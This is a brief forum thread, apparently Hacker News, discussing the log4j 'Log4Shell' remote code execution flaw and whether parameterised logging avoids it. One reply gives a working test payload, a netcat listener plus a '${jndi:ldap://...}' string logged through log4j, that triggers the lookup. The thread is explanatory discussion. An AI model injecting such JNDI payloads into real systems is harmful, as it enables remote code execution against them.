4 ms·
The method that they're exploiting is akin to printf("whoops this is a format string"). The right way to handle user input in one of these is log.error("here's
by ianlevesque 5y ago
The method that they're exploiting is akin to printf("whoops this is a format string"). The right way to handle user input in one of these is log.error("here's my user-provided input: {}", userInput) rather than log.error(userInput)
- shawnz 5y agoWhat if you are using SLF4J as a front-end to log4j, does it escape these special strings before passing them to the logging system?
- joedj 5y agoNo.
- natanbc 5y agoThe RCE works with both ways, start nc (nc -lp 1234) and run this org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")
- ianlevesque 5y agoWell that’s just appalling.